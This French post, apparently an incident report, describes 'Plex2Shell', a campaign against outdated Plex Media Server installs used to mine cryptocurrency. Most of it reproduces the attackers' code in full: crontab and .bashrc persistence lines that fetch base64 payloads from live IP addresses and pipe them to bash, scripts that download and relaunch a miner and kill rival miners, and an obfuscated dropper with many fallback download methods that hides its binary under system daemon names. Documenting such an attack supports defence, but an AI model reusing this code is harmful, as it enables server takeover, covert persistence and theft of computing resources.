Fin octobre 2026, un hack à destination des serveurs plexmediaserver qui ne sont pas à jour (< Plex Media Server 1.43.3) afin de pouvoir miner de la cryptomonnaie.
Plex2Shell : des serveurs Plex exploités pour miner de la cryptomonnaie
Des pirates se servent peut-être de votre serveur Plex pour miner des cryptos
Plex2Shell permet aux pirates de prendre le contrôle à distance des serveurs Plex Media Server sans authentification ni mot de passe.
Dans le crontab :
@reboot curl -s --connect-timeout 5 --max-time 5 "http://196.251.121.181:8081/ok" | base64 -d | bash */3 * * * * curl -s --connect-timeout 5 --max-time 5 "http://196.251.121.181:8081/ok" | base64 -d | bash
Dans les fichiers : .bashrc .profile
export XR_RIGID=worker-01; curl -s --connect-timeout 5 --max-time 5 "http://196.251.121.181:8081/ok" | base64 -d | bash >/dev/null 2>&1 &
Dans d'autres fichiers :
/bin/auditd/.profile /bin/auditd/config.json
Avec l'installation des packages suivants :
aardvark-dns buildah catatonit conmon containernetworking-plugins containers-storage criu crun golang-github-containers-common golang-github-containers-image libcompel1:amd64 libcriu2:amd64 libgpgme11t64:amd64 libnet1:amd64 libnl-3-200:amd64 libprotobuf32t64:amd64 libslirp0:amd64 libyajl2:amd64 netavark passt podman python3-protobuf python3-pycriu slirp4netns uidmap fuse-overlayfs libsubid5
A travers les fichiers installé à travers Plex : ce.sh, k.sh, w3.sh
/plexmediaserver# vim .bashrc
~/w3.sh
~
/plexmediaserver# vim ce.sh
#!/bin/bash
PROC_NAME="softwaretech"
all_procs=$(ps -e -o stat=,comm=)
matches=$(echo "$all_procs" | awk -v name="$PROC_NAME" '$2 == name')
pkill xmrig
pkill -9 xmrig
killall xmrig
killall -9 xmrig
if [ -z "$matches" ]; then
rm config.json
rm softwaretech
curl -O http://195.177.94.167/w3.sh
curl -O http://195.177.94.167/softwaretech
curl -O http://195.177.94.167/2/config.json
chmod 777 softwaretech
chmod 777 w3.sh
./w3.sh &
echo '~/w3.sh' >> ~/.bashrc
else
alive=$(echo "$matches" | awk '$1 !~ /^Z/')
if [ -z "$alive" ]; then
rm config.json
rm softwaretech
curl -O http://195.177.94.167/w3.sh
curl -O http://195.177.94.167/softwaretech
curl -O http://195.177.94.167/2/config.json
chmod 777 softwaretech
chmod 777 w3.sh
./w3.sh &
echo '~/w3.sh' >> ~/.bashrc
else
echo "process is running normally"
fi
fi
~
/plexmediaserver# vim k.sh
#!/bin/bash
MINER_NAMES=(
"xmrig"
"cpuminer"
"miner"
"minerd"
"cgminer"
"bfgminer"
"ethminer"
"t-rex"
"nbminer"
"lolminer"
"gminer"
"teamredminer"
"phoenixminer"
"claymore"
"xmr-stak"
"xmr-stak-rx"
"kawpowminer"
"wildrig"
"nanominer"
"bminer"
"z-enemy"
"srbm"
"trex"
"ewbf"
"ccminer"
"mylovelyminer"
)
while true; do
for name in "${MINER_NAMES[@]}"; do
# Use pgrep to find PIDs, then kill -9 them
pids=$(pgrep -f "$name" 2>/dev/null)
if [ -n "$pids" ]; then
echo "[$(date)] Killing $name (PIDs: $pids)"
kill -9 $pids 2>/dev/null
fi
done
sleep 10
done
~
/plexmediaserver# vim w3.sh
#!/bin/bash
PROC_NAME="softwaretech"
while true; do
all_procs=$(ps -e -o stat=,comm=)
matches=$(echo "$all_procs" | awk -v name="$PROC_NAME" '$2 == name')
if [ -z "$matches" ]; then
./softwaretech -c ./config.json
else
alive=$(echo "$matches" | awk '$1 !~ /^Z/')
if [ -z "$alive" ]; then
./softwaretech -c ./config.json
else
echo "process is running normally"
fi
fi
done
~
#!/bin/sh
export XR_RIGID=worker-01
while true; do
(
#!/bin/sh
H=196.251.121.181;P=8081
H2=
N="dbus-daemon systemd-journald systemd-resolved systemd-timesyncd systemd-udevd polkitd rsyslogd sshd cron crond auditd agetty nginx mysqld atd"
Q=".cache .config .local .gnupg .dbus .pki .thumbnails"
M=$(cat /etc/machine-id 2>/dev/null);[ -z "$M" ]&&M="$(hostname)-$(uname -s)-$(uname -m)"
F="$M$(hostname)"
h(){ command -v "$1" >/dev/null 2>&1; }
p(){ L=$1 S=$2 n=0
for I in $L;do n=$((n+1));done
g=$(printf %s "$S"|cksum 2>/dev/null);g=${g%% *}
[ -z "$g" ]&&{ g=$(printf %s "$S"|sum 2>/dev/null);g=${g%% *}; }
[ -z "$g" ]&&g=0
R=$((g%n+1));n=0
for I in $L;do n=$((n+1));[ "$n" = "$R" ]&&{ printf %s "$I";return;};done; }
X=$(p "$N" "$F");Y=$(p "$Q" "$F")
E=""
if [ "$(id -u)" = 0 ];then for B in /usr/bin /var/tmp /dev/shm /tmp "${HOME:-/tmp}";do D="$B/$Y";mkdir -p "$D" 2>/dev/null&&[ -w "$D" ]&&{ E="$D/$X";break;};done
else for B in "${HOME:-/tmp}" /tmp /var/tmp /dev/shm;do D="$B/$Y";mkdir -p "$D" 2>/dev/null&&[ -w "$D" ]&&{ E="$D/$X";break;};done;fi
[ -z "$E" ]&&{ D="/tmp/$Y";mkdir -p "$D" 2>/dev/null; E="$D/$X"; }
case $(uname -m) in x86_64|amd64)A=x86_64;;i386|i486|i586|i686)A=i686;;aarch64|arm64)A=aarch64;;armv7l|armv7|armv8l)A=armv7l;;*)echo XR_FAILED_ARCH;exit 1;;esac
U="http://$H:$P/elf.$A"
v(){ [ -s "$1" ]&&[ "$(dd if="$1" bs=4 count=1 2>/dev/null)" = "$(printf '\177ELF')" ]; }
hs(){
[ -s "$1" ]||return 1
O=$(grep -aboF "$(printf '\r\n\r\n')" "$1" 2>/dev/null|head -1|cut -d: -f1)
[ -n "$O" ]&&{ dd if="$1" of="$2" bs=1 skip=$((O+4)) 2>/dev/null;return 0; }
O=$(grep -aboF "$(printf '\n\n')" "$1" 2>/dev/null|head -1|cut -d: -f1)
[ -n "$O" ]&&{ dd if="$1" of="$2" bs=1 skip=$((O+2)) 2>/dev/null;return 0; }
awk 'BEGIN{RS="\r\n\r\n"}NR==2{printf "%s",$0;f=1}END{exit f?0:1}' "$1">"$2" 2>/dev/null&&return 0
awk 'BEGIN{RS="\n\n"}NR==2{printf "%s",$0;f=1}END{exit f?0:1}' "$1">"$2" 2>/dev/null&&return 0
return 1
}
d_curl(){ h curl &&curl -fsSL --connect-timeout 10 --max-time 120 "$U" -o "$E" 2>/dev/null; }
d_curlvar(){ for c in ter_curl _curl ccuurrll;do h "$c"&&"$c" -fsSL --connect-timeout 10 --max-time 120 "$U" -o "$E" 2>/dev/null&&return 0;done;return 1; }
d_wget(){ h wget &&wget -q -T 10 "$U" -O "$E" 2>/dev/null; }
d_wget2(){ h wget2 &&wget2 -q --timeout=10 "$U" -O "$E" 2>/dev/null; }
d_wgetvar(){ for w in ter_wget _wget wget-ssl wwggeett wget-nossl;do h "$w"&&"$w" -q -T 10 "$U" -O "$E" 2>/dev/null&&return 0;done;return 1; }
d_bbwget(){ h busybox &&busybox wget -q -T 10 "$U" -O "$E" 2>/dev/null; }
d_aria2c(){ h aria2c &&aria2c -q --connect-timeout=10 --timeout=10 --max-tries=1 -d "${E%/*}" -o "${E##*/}" "$U" 2>/dev/null; }
d_axel(){ h axel &&axel -q -n 1 -o "$E" "$U" 2>/dev/null; }
d_fetch(){ h fetch &&fetch -q -o "$E" "$U" 2>/dev/null; }
d_ftp(){ h ftp &&ftp -o "$E" "$U" 2>/dev/null; }
d_perl(){ h perl &&perl -MIO::Socket::INET -e '($h,$p,$f,$o)=@ARGV;$s=IO::Socket::INET->new(PeerAddr=>$h,PeerPort=>$p,Proto=>"tcp")or exit 1;print $s "GET $f HTTP/1.0\r\nHost: $h\r\nConnection: close\r\n\r\n";open(O,">",$o)or exit 1;while(<$s>){print O if $b;$b=1 if /^\r?$/}' "$H" "$P" "/elf.$A" "$E" 2>/dev/null; }
d_py3(){ h python3 &&python3 -c 'import urllib.request as u;open("'"$E"'","wb").write(u.urlopen("'"$U"'",timeout=120).read())' 2>/dev/null; }
d_py2(){ h python2 &&python2 -c 'import urllib;open("'"$E"'","wb").write(urllib.urlopen("'"$U"'").read())' 2>/dev/null; }
d_python(){ h python &&{ python -c 'import urllib.request as u;open("'"$E"'","wb").write(u.urlopen("'"$U"'",timeout=120).read())' 2>/dev/null||python -c 'import urllib;open("'"$E"'","wb").write(urllib.urlopen("'"$U"'").read())' 2>/dev/null; }; }
d_php(){ h php &&php -r '$d=@file_get_contents($argv[1]);if($d===false)exit(1);file_put_contents($argv[2],$d);' "$U" "$E" 2>/dev/null; }
d_phpcurl(){ h php &&php -r '$c=curl_init($argv[1]);curl_setopt_array($c,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>120,CURLOPT_SSL_VERIFYPEER=>0]);$d=curl_exec($c);if($d===false)exit(1);file_put_contents($argv[2],$d);' "$U" "$E" 2>/dev/null; }
d_phpfsock(){ h php &&php -r '$s=fsockopen($argv[1],(int)$argv[2],$e,$es,10);if(!$s)exit(1);fwrite($s,"GET ".$argv[3]." HTTP/1.0\r\nHost: ".$argv[1]."\r\nConnection: close\r\n\r\n");$d="";while(!feof($s))$d.=fread($s,65536);fclose($s);$b=strpos($d,"\r\n\r\n");if($b!==false){$d=substr($d,$b+4);}else{$b=strpos($d,"\n\n");if($b!==false)$d=substr($d,$b+2);}file_put_contents($argv[4],$d);' "$H" "$P" "/elf.$A" "$E" 2>/dev/null; }
d_ruby(){ h ruby &&ruby -ropen-uri -e 'open(ARGV[1],"wb"){|f|f.write(open(ARGV[0]).read)}' "$U" "$E" 2>/dev/null; }
d_node(){ h node &&node -e 'var h=require("http").get(process.argv[1],function(r){if(r.statusCode!==200)process.exit(1);var f=require("fs").createWriteStream(process.argv[2]);r.pipe(f);});h.setTimeout(120000,function(){h.destroy();process.exit(1)});' "$U" "$E" 2>/dev/null; }
d_nc(){ NC="";for c in nc netcat ncat;do h "$c"&&NC="$c"&&break;done;[ -z "$NC" ]&&return 1
rm -f "$E.raw";printf 'GET /elf.%s HTTP/1.0\r\nHost: %s:%s\r\nConnection: close\r\n\r\n' "$A" "$H" "$P"|"$NC" "$H" "$P">"$E.raw" 2>/dev/null
hs "$E.raw" "$E";r=$?;rm -f "$E.raw";return $r; }
d_socat(){ h socat||return 1
rm -f "$E.raw";printf 'GET /elf.%s HTTP/1.0\r\nHost: %s:%s\r\nConnection: close\r\n\r\n' "$A" "$H" "$P"|socat - "TCP:$H:$P,connect-timeout=10">"$E.raw" 2>/dev/null
hs "$E.raw" "$E";r=$?;rm -f "$E.raw";return $r; }
d_bash(){ [ -n "${BASH_VERSION:-}" ]||return 1
rm -f "$E.raw";( exec 3<>/dev/tcp/$H/$P 2>/dev/null&&{ printf 'GET /elf.%s HTTP/1.0\r\nHost: %s:%s\r\nConnection: close\r\n\r\n' "$A" "$H" "$P">&3;cat<&3;exec 3<&-; } )>"$E.raw" 2>/dev/null
hs "$E.raw" "$E";r=$?;rm -f "$E.raw";return $r; }
DL="curl curlvar wget wget2 wgetvar bbwget aria2c axel fetch ftp perl py3 py2 python php phpcurl phpfsock ruby node nc socat bash"
d(){ for T in $DL;do "d_$T"&&v "$E"&&return 0;done;return 1; }
rmdir "$E" 2>/dev/null; mkdir -p "${E%/*}"
d||{ [ -n "$H2" ]&&{ H="$H2"; U="http://$H:$P/elf.$A"; d; } }||{ echo XR_FAILED_DL;exit 1; }
chmod +x "$E"
O="$E.out"; rm -f "$O"
"$E" --dbg >"$O" 2>/dev/null &
i=0
while [ $i -lt 120 ]; do
[ -s "$O" ] && grep -q 'PHONK666' "$O" 2>/dev/null && { cat "$O"; rm -f "$O"; exit 0; }
sleep 1; i=$((i+1))
done
rm -f "$O"; echo XR_FAILED_RUN; exit 1